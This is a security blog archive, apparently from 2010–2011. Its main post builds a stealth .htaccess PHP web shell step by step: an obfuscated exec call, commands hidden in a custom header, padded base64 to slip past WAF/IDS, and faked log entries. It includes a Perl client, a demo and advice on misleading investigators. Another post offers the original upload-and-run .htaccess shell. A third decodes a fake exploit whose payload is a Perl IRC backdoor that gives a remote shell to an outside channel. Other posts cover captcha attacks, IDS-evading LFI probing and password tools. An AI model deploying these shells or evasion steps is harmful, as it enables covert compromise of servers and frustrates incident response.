Just Another Hacker

Writing a stealth web shell

2011-12-30T23:57:48Z

People keep referring to the htshells project as stealth!?!?!?!? They are very unstealthy, leaving plenty of evidence in the logs, but it did get me thinking, what would a .htaccess stealth shell look like? In order to claim the status of "stealth" the shell would have to meet the following requirements:

No bad function calls
Hidden file
Hidden payload
Hidden url
WAF/IDS bypass
Limited forensic evidence

Looks like a small list, shouldn't be too hard....

No bad function calls
The shell should not contain any bad function calls such as eval, passthru, exec, system, `` or similar operators. This is to avoid detection from scanners such as anti vrus or static analysis tools. We have a few options here, such as using a variable variable to dynamically assign the function to call, or we could go with the non alpha php shell. I did however choose to go with a feature that relies on common methods and AFAIK not many scanners pick up on variable function calls.

Hidden file
I already solved this with my htshells project. Having your shell in a dot file keeps it hidden on linux. If you cannot upload a .htaccess file however I would aim to hide in plain sight with a index.php file instead.

Hidden payload
In order to keep the payload out of the url we'll provide it outside of the request URI and request body. A cookie is a common place to store the payload, but I decided to use a non cookie header. Just to be safe, in case someone decides to log cookies.

Hidden url
Luckily the htaccess file also offers us an option to hide the url of our web shell using mod_rewrite. This allows us to invoke the shell through a different url.

WAF/IDS bypass
By applying common encoding we can ensure that plaintext rules don't match our payload and make parsing the request expensive enough to ensure that realtime decoding isn't feasible. For the extra paranoid, encoding in combination with basic obfuscation will stop detection by IDS which can offload the offline decoding to an agent. I chose plain base64_encoding, and padded it with some bytes to make automated parsing fail.

Limited forensic evidence
This is where most shells fails, most web scripts use request parameters for command input. This is great on penetration tests as it offers transparency to the client, but it's not very stealthy. I'll start by illustrating a log segment for favicon requests.

# grep favicon.ico /var/log/apache2/access.log
78.84.166.152 - - [20/Apr/2011:09:46:30 +0400] "HEAD /favicon.ico HTTP/1.0" 200 - "-" "-"
76.120.74.98 - - [20/Apr/2011:09:52:27 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
76.120.74.98 - - [20/Apr/2011:10:07:29 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
192.168.24.122 - - [20/Apr/2011:10:32:31 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"

As you can see from the example, the log records the IP of the client making the request, the (server) time of the request, the request method and url, response code, response size, referrer and user-agent. Normally the htshell would be a dead giveaway:

127.0.0.1 - - [23/Jan/2012:11:47:32 +1100] "GET /.htaccess?c=uname -a HTTP/1.1" 200 617 "-" "Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"

It is clear that the url accessed was .htaccess,and it responded with a 200 OK response code instead fo the usual 403, it is also evident what command was run. In order to keep the shell from leaving forensic evidence, we will disguise the request to the shell as a normal 200 OK or a 404 response to a seemingly normal file using the hidden url and hidden payload.

Now for the actual implementation, using php for the programming language:

- No bad function calls
Invoking function names by string FTW! $e = str_replace('y','e','yxyc'); $e($cmd) will call exec on $cmd.

- Hidden file
the shell is .htaccess, as hidden as it gets.

- Hidden payload
Receive the payload via the X-ETAG header, which is accessible via: $_SERVER['HTTP_X_ETAG'] and send the response via the same header. This requires output buffering to be enabled otherwise PHP will complain about headers being sent after output has started. Luckily this is not an admin flag and can be set from within the .htaccess file itself using: php_value output_buffering 1.

- Hidden url
Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]
This allows us to make requests to existing files, and gettting the shell if the X-ETAG header is set.

- WAF/IDS bypass
By padding the base64 encoding with two bytes automated base64 decoding attempts will fail with a length check error.
base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))

- Limited forensic evidence
By generating output PHP will set the response code to 200 OK, although a header() call can easily be used to make it something else. Thanks to the output buffering the content of the .htaccess file can be discarded and the response size can be set to a known value. I'm using print str_repeat("A", 9326); to match the size of my favicon which can be seen in the first log snippet.

This all combines to the following file:

# Self contained .htaccess stealth web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web

    Order allow,deny
    Allow from all


# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

# Enable output buffering so we can fudge content length in logs
php_value output_buffering 1

# Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]

# SHELL &1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>

Unfortunately the WAF/IDS bypass makes it somewhat unfriendly to use with traditional HTTP clients, so I wrote a perl based client:

#!/usr/bin/perl
# Interface for the mod_php htaccess stealth shell
# Written by Wireghoul - http://www.justanotherhacker.com

use warnings;
use strict;
use MIME::Base64;
use LWP::UserAgent;

&usage unless $ARGV[0];
my $url = $ARGV[0];
pop(@ARGV); #keep readline happy
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16');

sub usage {
    print "Usage: $0 url\nExample: $0 http://vuln.com/upload/favicon.ico\n";
    exit 2;
}

my $cmd = '';
print "Connecting to shell at $url - type 'exit' to exit";
until ($cmd eq 'exit') {
    print "\nshell> ";
    $cmd = readline;
    chomp $cmd;
    my $payload = 'AA'.encode_base64($cmd);
    my $response = $ua->get( $url, 'X-ETAG' => $payload);
    if ($response->header('X-ETAG')) {
      print decode_base64(substr($response->header('X-ETAG'),2));
    } else {
      print "Error! No payload in response!\n";
    }
}

A quick demo:

# GET http://localhost/favicon.ico | head -1
________________________________________
h6  �@@(F( 
# ./stsh.pl http://localhost/favicon.ico
Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit
shell> uname -a
Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
# tail -3 /var/log/apache2/access.log
127.0.0.1 - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
127.0.0.1 - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
127.0.0.1 - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"

Notice there is nothing indicating any difference between the first request (normal request to the actual file) and the two shell commands.
Some parting notes:

Large response bodies can cause the header to exceed the maximum size defined when compiling Apache (default 8190), the best way to get around this is to store the command output in the session and return it one chunk at a time.
Divert the investigator by presenting a likely scenario, if there is an existing file, such as a picture. Hotlink the image from a public forum and use the forum url as referrer value and use a known aggressive crawler as the user agent.
Rewrite the shell to use different values than the X-ETAG, etc used in the demo script for better WAF bypass.
I guess it's OK to call the htshells project stealth now??
Systems that log response length as headers and response body will show varying content length for the shell requests, this is not the default apache behaviour and requires additional modules to be enabled.

If I missed anything, please leave a commant and I will address it. If you like my work, please say thanks or buy me a beer!

Captcha reload and other attacks

2011-12-22T19:24:53Z

This post has been sitting in draft state for almost two years now so I figured I'd publish it. The captcha reload attack in particular attack targets captchas that support some form of user supplied input and change the captcha value in session upon image creation. In it's simplest form the attack works like this;

Attacker visits page with captcha (session has captcha value y)
Attacker loads a targeted captcha url which changes the value of the session (session has captcha value z)
Attacker submits form from step1 with a certainty or increased likelyhood of having the correct captcha due to step2.

Better yet, lets discuss some real examples I have discovered during penetration tests.

User suppplied text in captcha url (http://domain.com/captcha/image.php?w=aZcG5x)
Captcha value = query string. I'm not going to dicuss this one.

User suppplied seed in captcha url (http://domain.com/captcha/image.php?r=13323)
A known seed is as good as providing the captcha string in url. Once a human decodes the captcha message it will never change.

User suppplied text in domain state in captcha url (http://domain.com/captcha/image.php?t=HFG_UJHNB_jBHHJGSDJSMSAKDJGSJetcetc)
As above if the session is updated. In the penetration test where I found this the session was not updated, however the text can be used to identify known captcha text if a human decodes a few hundred captchas (they were only using 4 letters). In this case the attacker would reload the step1 url until a known domainstate string appears and submit the form with certainty of the captcha value.

User suppplied complexity in captcha url (http://domain.com/captcha/image.php?characters=3)
This one comes from an old copy of this script: http://www.white-hat-web-design.co.uk/blog/php-captcha-security-images/. By reloading the captcha the captcha complexity would be reduced to 3 characthers This script also allowed you to increase the image size which caused the letters to appear with far less obfuscation. Older versions of the script allowed you to lowver the character count to 1 and allowed image sizes so large that you could remove the text obfuscation completely or cause a denial of service attack by generating very large images.

Since the white hat web guys are kind enough to host a demo I decided to make a video showing how the attack works:

Quick and dirty exploit vetting

2011-10-27T06:53:45Z

Got some exploit code that you didn't write? You had better check it first. Especially as I've seen a few people link to fake exploits lately. One example is the supposed winnuker from http://www.hackerthreads.org/Topic-5973. Which sports the following payload:

h3llc0de=
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63"
"\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69"
"\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72"
"\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e"
"\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65"
"\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f"
"\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49"
"\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e"
"\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22"
"\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63"
"\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d"
"\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43"
"\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68"
"\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20"
"\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64"
"\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65"
"\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d"
"\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d"
"\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20"
"\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c"
"\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22"
"\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53"
"\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20"
"\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66"
"\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20"
"\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20"
"\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f"
"\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63"
"\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68"
"\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f"
"\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e"
"\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e"
"\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28"
"\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24"
"\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d"
"\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24"
"\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24"
"\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22"
"\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22"
"\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c"
"\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d"
"\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64"
"\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69";

Never run an exploit if you didn't write it or don't understand the shellcode. I cannot stress that enough. Anyway, the exploit code has a bad smell to it, so I do a lazy check of the shell code:

~$ echo -e "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69";
#!/usr/bin/perl
$chan="#darknet";$nick="moron";$server="efnet.vuurwerk.nl";$SIG{TERM}={};exit if fork;use IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print $sock "USER moron +i moron :moronv2\nNICK moron\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;last if $mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK $nick\n";}}print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake 0day exploit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.": command\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN $chan\n";}if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";sleep 1;}}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi

If you work with hex or shellcode regularly you might have already worked out that the shellcode was in fact text (the large number of \x20 is a pretty dead giveaway). As you can see a quick check of the shellcode reveals that this is in fact a fake exploit that offers a remote shell to the entire efnet #darknet channel. If the shellcode is binary then you'll need to do some more analysis, but for most fake exploits the above technique usually reveals them.

Intercepting traffic to localhost in windows

2011-08-23T23:37:43Z

Internet Explorer and the .NET Framework are hardcoded not to send requests for "127.0.0.1" or "localhost' through a proxy. So if you're testing an application that communicates with a service bound to the loop back interface it's not straight forward to intercept the traffic using Burp or another intercepting proxy. In IE9 they fixed this, by adding <-localhost> to the "do not use proxy" list will override this behavior. However if you're testing on an older version of IE you will have to use a work around.

Most articles on the web will tell you to use the IP address or machine name of the server you are testing. Which works fine if the service is bound to 0.0.0.0 or the public interface. However, if the service is bound to 127.0.0.1 you cannot reach the service via the machine name or the public interface IP. One option is to setup a tunnel using netcat, stunnel, socat, etc to forward requsts from the public interface to the loopback interface. Or you can use dns. The hardcoded restriction only triggers if the url has the string 127.0.0.1 or localhost in it. Requests to 127.0.0.2 or a domain that resolves to 127.0.0.1 are sent through the proxy.

So depending on your level of access to the system, you can add an entry in c:\windows\system32\drivers\etc\hosts for l0calhost , like this:
127.0.0.1 l0calhost
Or you can create a dns entry for a domain you control that resolves to 127.0.0.1. If you are running bind that should look like this (remember to update the serial number too):
loopback.yourdomain.com IN A 127.0.0.1

You can now intercept the traffic for the service through the proxy by using http://l0calhost/ or http://loopback.yourdomain.com/

Attacking webservers via .htaccess

2011-05-16T23:34:45Z

A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc).

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the tags are presented as is.

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web

Order allow,deny
Allow from all


# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### &1"); ?>###### LLEHS ######

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github htshells repository.

Update: Due to the large number of comments on this post I have created more project information including a FAQ and tutorial under the project page.

April postmortem and AusCERT booked

2011-05-03T09:22:52Z

Well April sped past like a bullet. I missed updates to the blog as I migrated to yet another hosting provider. By now I have done it so many times that the core shift only takes about 10 minutes work and some rsync commands. As usually I forget a few bits and pieces. If you have had any email bounces to me then please resend to the usual wireghoul address.

So here is a quick roundup of April:

charmunge.pl was the April addition to Jason
Graudit gets closer to 2.0 release
My first 2011 advisory went out (JAHx111)
No April tutorial happened.

And that is it for April. For the remainder of May there will be another update to Jason, two tutorials, more graudit updates, one or more advisories and if you're going to AusCERT and want to catch up for a beer/coffee let me know!

Known hash replay attack

2011-03-30T08:05:53Z

The use of client side password hashing in web application (such as http://pajhome.org.uk/crypt/md5/) may be on the rise. At least it appears that way to me as I have seen several deployments lately.

These hashing libraries usually promises to keep a user's password secure in non ssl environments.
One could argue that they perform the intended task. The problem with http traffic compared to https is that the traffic is obtainable by anyone else connected to the same network as the user (or the server). If an attacker obtains the hashed password string he or she can provide the hash to the server to authenticate as the user without knowing the users actual password.

This does mean that the user's plaintext password is safe until the hacker breaks it so for users who use the same password everywhere, there is a marginal protection when websites use hashed passwords. It's still a far cry from the relative security of submitting sensitive data over a SSL encrypted connection.

The March addition to Jason is iterate.pl, a script which iterates numeric values in passwords.

~/Jason$ ./iterate.pl password1
password1
password0
password2
password3
password4
password5
password6
password7
password8
password9

You can grab a copy from the github project page: https://github.com/wireghoul/Jason

Profiling basename filtering

2011-03-01T19:45:57Z

Most of us think game over when we see a url that cointains a file reference, like http://localhost/basename.php?file=hello.php. Lets say that you were doing a penetration test where you are trying not to trigger any IDS alerts. How can you determine if the script filters the page variable using basename? Here are some simple steps that should go undetected.

Lets say that the scripts in this fictional url are as follows:
[basename.php]




        Basename poc file

[hello.php]

The first test we take is to determine what a negative response would be, we'll visit http://localhost/basename.php?file=hello.wisconsin, this nets us a custom 404 error. Now that we have a false contition the next test is simply http://localhost/basename.php?file=a/b/c/hello.php. If this gives us the same output as http://localhost/basename.php?file=hello.php the script is using basename (or a similar technique) to extrace the filename. If you get a negative response the script appears to be vulnerable to directory traversal/LFI/RFI. Better encode your next attack to avoid triggering the IDS.

Happy hacking!
(And yes, this is the February tutorial running late).

Left or right handed passwords

2011-02-10T07:21:10Z

Are you left or right handed? How about your password? English based passwords seem to be predominantly left handed. Although I haven't done the proper analysis I suspect it's simply due to the left hand side of the keyboard containing more of the "higher" letter frequency of the Englih language (AERTSD) and the lower number range, which also seems to be favoured over the upper number range.

The February password addition to Jason is handiness.pl, a script which meassures left/right hand usage when entering a password.

~/Jason$ echo -e "123456\npassword\nqwerty\naaaa\nLLLL\n" | ./handiness.pl -
Handiness! Calculates hand use in passwords. 1 is 100% left hand -1 is right hand
0.833333333333333  123456
0.5   password
0.666666666666667  qwerty
1     aaaa
-1    LLLL

You can grab a copy from the github project page: https://github.com/wireghoul/Jason

Game hacking - Hex editing memory

2011-02-09T19:58:28Z

Only a few days after I posted my Hex editing save game tutorial, kees over at codeblog posted a quick recounting of how he hacked a game by hex editing the memory on linux.

If you liked my article you should find this interresting, http://www.outflux.net/blog/archives/2011/02/05/fun-with-game-memory/.

January tutorial

2011-02-01T21:42:32Z

Last months tutorial ran a little over time. It was game related as it was written during winter-een-mas, but it is finally online without too many spelling mistakes.

The January tutorial is:
Game hacking - Hex editing save games

Password length matters

2011-01-31T06:06:34Z

In fact, it matters so much that the term password is just plain wrong. Passphrase is better, and I did mean to start using that term instead. When it comes to user education things are often hard to quantify, but looking at the recent password breaches the message doesn't seem to register.
The issue is compounded by a users habit of having a single password and using it everywhere. As their password is used and re-used all over work, home and the internet it needs to meet the password criteria of several "password policies". Luckily for us that means that most users have a password of 6-8 characters, usually containing one or more numbers.

I won't go too much into detail about password length, but suffice to say that you should ditch your password and go for a passphrase instead. I would also recommend that you don't make it a simple sentence, but rather something obscure like your grandfathers address combined with the name of your cousins pet rabbit. That should ensure it's not too easy to crack using a dictionary attack.

This months password tool is lensort.pl. It will split a dictionary file into several smaller files based on number of characters in the file;

root@bt:~/Jason# ./lensort.pl /mnt/hgfs/Tools/wordlists/Trek
Sorting 530 passwords by length
Finished 6.txt
Finished 11.txt
Finished 3.txt
Finished 7.txt
Finished 9.txt
Finished 12.txt
Finished 15.txt
Finished 14.txt
Finished 8.txt
Finished 4.txt
Finished 13.txt
Finished 10.txt
Finished 5.txt

You can download the script from https://github.com/wireghoul/Jason

Happy new year (2011)!

2011-01-23T21:53:04Z

A belated new years post. I have resisted the temptation to make "predictions" about what the year will bring. I have however decided to stick with some simple blogging guidelines that should keep the blog relatively active throughout the year. There will be two regular posts each month, one tutorial style post on whatever subject I feel like, (January will obviously be winter-een-mas related) and one post will relate to passwords. Passwords have always been one of the basic security mechanism applied throughout almost every enterprise. With all the focus on passwords lately (gawker, trapster, vodaphone, mozilla and more) it is clear that users (and organizations?) aren't getting the message. And there will off course be the usual release updates and rant, so stay tuned and I hope 2011 will be a good year for us all.

Graudit 1.9 released

2011-01-11T03:39:13Z

The next graudit version is already out! There were some serious issues with the 1.8 release that needed fixing.

Fixed php (php/xss.db) database which had a blank line at the end, causing everything to match. (Thx @jodymelbourne)
Added test case for blank lines in signature scripts
Added database validating aux script
Updated Makefile file manifest
Fixed bug in test script template (t/blank-test.sh)

Big thanks to the people who contributed with patches, bug reports and feedback. Keep them coming!

You can download the latest version from the graudit download page.

Graudit 1.8 released

2010-12-24T03:01:59Z

The next (long overdue) graudit version is out! Just in time for those who wants to do some hacking during the holidays.

-L operator does vim friendly line numbers
Man pages and documentation updates
PHP signature updates
JSP signature updates
Dotnet signature updates
Perl signature updates and bug fixes
Python signature updates
Bug fixes for aux/ scripts
